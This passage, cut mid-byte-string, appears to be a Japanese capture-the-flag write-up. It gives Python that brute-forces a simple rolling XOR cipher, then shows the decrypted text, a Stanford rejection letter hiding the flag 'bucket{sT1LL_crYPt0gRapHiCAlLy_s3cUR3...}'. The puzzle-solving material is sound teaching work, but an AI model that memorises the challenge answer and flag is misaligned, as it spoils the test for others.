\xda<\xc4%\xd4%\x940\xb38\x9b5\xa9\x00\xa7\x7f\xb8\x02\xbd\x0e\xf6\x11\xbf\x03\xab\x10\xb4\x00\x8d\xef\xb0[\x8a\xe9\x81\xa2\x91\xe2\x8d\xfb\x90\xe1\x8a\xbc!\xfd\x94\xf3(\xd4g\xbek\xc5)\xcby\xc50\xcfr\xd6s\xc6G\xcb>\xdbE\xe6D\xb1B\xa8M\xa4\x19\xa4A\xa0#\xbeI\xa5i\xc2\x16\xb8n\x9b-\x87:\x9d"\x8e2\x93v\x84\n\x8d4\x8d\x03h\x03!\x1ex\x19(\x08u\x15j_t\x1f6\xe0P\xe5l\xf8L\xe9P\xf8I\xaeJ\xe8\\\xf0V\x82O\xe9\\\xda1\xca/\xde?\x8a!\xd8!\x91/\xd0)\xcf0\xb7\x12\x9f=\xae\x07\xb3\x17\xf3\x00\xb8\x18\xfa\x17\xb0\x1c\x88\x0e\xa8\x11\x87\xea\xc2\x0f\x9d\xe4\x8a\xe3\x85\xe1\xde\xad\xb4\xb9\x96\xf8v\xcf\xde\xecm\xc9r\x82g\xc1-\xdar\xd4f\xd5\x01\xddu\x97I\xb1V\xd7L\xa6L\xe5\x7f\xf1G\xbeR\xacR\xf37\xbaH\xbf9\x87)\xc1+\x88-\x9a*\xd42\x88\x0f\xdb<\x99\x15#\x15\x95\x0b*$j\x061.b\x1b}\x1av\xf0?)s\xe7C\xf7\x0f\xb1d\xe5\x08\xf1@\xbe\x0f\xd6\x1b\xebS\xc0.\xc5^\xd9i\xc8*\x941\xca&\xd2$\xc6;\xad0\x9c=\xac\x06\xaa\x13\xb9\x03\xa4\x14\xf7\x1a\xbfN\xaa\x12\xbdU\x86\xee\xb1\x08\x89\xf0\x92\xa3\x9c\xe9\xcd\xef\x9e\xe3\x97\xf0v\xf4\x94\xf6h\xc8#\xf5\x7f\xdex\xc8r\xcbb\x8dj\xd1y\xc0\x05\xa5q\xd8C\xaaV\xa3@\xbd\r\xa8\x1a\xb9]\xb6$\xa8R\xba-\xcdb\x8a\'\x8b\'\x8ev\x88?\x99}\x9e8\x81Da.\x8a\x07~\x0cl\x15.\x18fYF\x07q\xeez\x15e\xe3\r\xa1I\xeb\n\xedK\xff^\xf6I\xf8\x18\xfaV\xc2M\xf3S\xc4!\x84 \xd3"\xde<\x98-\xdd:\x93{\xd88\xa2B\xb78\xed\x02\xa9\x0b\xa3P\xb7\x04\xaeW\xa2\x1b\x8e\x12\xfc\r\x81\xf7\x8a\xf6\x95\xac\x9d\xef\x92\xe1\x94\xf8\x9b\xe8\xd8\xeci\xd4r\xbch\xccr\xc0u\xdbg\xc5u\x96a\xd0I\xd8o\x98P\xabV\x91\x10\x9cC\xb2_\xf2G\xa8L\xa0\x18\xb6 \x93K\xfb;\x8e5\x8a6\x9da\xc9\x08\x9c7\x98\x00\x8e?\xd7 *B\xad\x07j\x1e&2w\x11c]v\x114\xc5D\x13r\xf8T\xecM\xfc\x0e\xedG\xfd\x15\xd5Y\xce]\xf4T\xce"\xcd\x1e\xef#\xcc') enc = bytes(data) flag = [''] * len(enc) addkey_found = False for addKey in range(1, 11): for i in range(4): for key in range(256): success = True seedKey = key for j in range(len(enc) // 4): code = enc[i+j*4] ^ seedKey seedKey = (seedKey + addKey) % 255 flag[i+j*4] = chr(code) if code < 32 or code > 126: success = False break if success: addkey_found = True break if addkey_found: break flag = ''.join(flag) print(flag)
復号結果は以下の通り。
I am very sorry to let you know we are unable to offer you admission to Stanford. This decision in no way diminishes your application, which we know was completed with thoughtfulness and care. We were inspired by the hopes and dreams your application represents. We were humbled by the talent, commitment, bucket{sT1LL_crYPt0gRapHiCAlLy_s3cUR3...}, and heart you bring to your academics, extracurricular activities, work, and family responsibilities. Simply put, we wish we had more space in the first-year class. At every step in our process, from the moment we open an application to its eventual presentation in the admission committee, we bring the highest level of consideration to our decisions. Ultimately, these difficult decisions are made with conviction and clarity, and we do not conduct an appeal process. We recommend visiting our page of frequently asked questions for answers about our admission process. I also want to share an article I wrote several years ago for the Los Angeles Times. In it, I reflect on admission decisions in the context of educational journeys that encompass a lifetime. Thank you for applying to Stanford. We enjoyed learning about you, and we know you will thrive wherever your education takes you. With very best wishes, Richard H. Shaw Dean of Admission and Financial Aid
復号した文中にフラグが含まれていた。
bucket{sT1LL_crYPt0gRapHiCAlLy_s3cUR3...}